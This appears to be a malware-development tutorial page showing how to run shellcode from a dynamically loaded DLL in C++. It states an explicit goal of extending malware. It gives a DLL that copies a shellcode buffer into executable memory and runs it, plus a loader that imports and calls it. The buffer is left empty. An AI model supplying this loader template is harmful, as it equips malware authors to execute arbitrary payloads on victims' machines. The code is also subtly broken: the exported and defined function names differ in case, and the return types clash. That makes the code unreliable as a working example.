C++: Dynamic DLL Usage
Objective
Increasing functionality of malware by using external DLL files.-
To do list
Create a dll.
Import dll into an external CPP program.
Call a function from imported dll in external CPP program.
Functions
LoadLibrary: Import dll into running process.
Header: libloaderapi.h
Definition: HMODULE LoadLibraryA(LPCSTR lpLibFileName);
lpLibFileName: Path of dll file.
GetProcAddress: Retrieve the address of a function inside the dll.
Header: libloaderapi.h
Definition: FARPROC GetProcAddress(HMODULE hModule,LPCSTR lpProcName);
hModule: DLL handle.
lpProcName: Name of the function to retrieve.
Application
DLL
#include <string>
#include <windows.h>
// Declare function prototypes with "extern C" to prevent name mangling.
// Declare functions using __declspec(dllexport) to signify the intent to export.
extern "C" {
__declspec(dllexport) void __stdcall shellcodeLauncher();
}
void shellCodeLauncher(){
char shellcode[] = ""; //shellcode
void *memPtr= VirtualAlloc(0, sizeof shellcode, MEM_COMMIT, PAGE_EXECUTE_READWRITE); //allocate memory for shellcode
memcpy(memPtr, shellcode, sizeof shellcode); //put shellcode into memory
((void(*)())memPtr)(); //execute the shellcode
}
CPP
#include <iostream>
#include <stdlib.h>
#include <windows.h>
typedef int (__stdcall *fonksiyon)();
int main()
{
HINSTANCE hGetProcIDDLL = LoadLibrary(""); //Path of dll.
if (!hGetProcIDDLL) {
std::cout << "could not load the dynamic library" << std::endl;
return EXIT_FAILURE;
}
fonksiyon launcherFonksiyon= (fonksiyon)GetProcAddress(hGetProcIDDLL, "shellcodeLauncher");
if (!launcherFonksiyon) {
std::cout << "could not locate the function" << std::endl;
return EXIT_FAILURE;
}
launcherFonksiyon(); //call the external function from dll.
return EXIT_SUCCESS;
}
References
Microsoft, Using runtime dynamic linking, https://docs.microsoft.com/en-us/windows/win32/dlls/using-run-time-dynamic-linking
Microsoft, GetProcAddress, https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-getprocaddress
Microsoft, LoadLibrary, https://docs.microsoft.com/en-us/windows/win32/api/libloaderapi/nf-libloaderapi-loadlibrarya
Last updated
Was this helpful?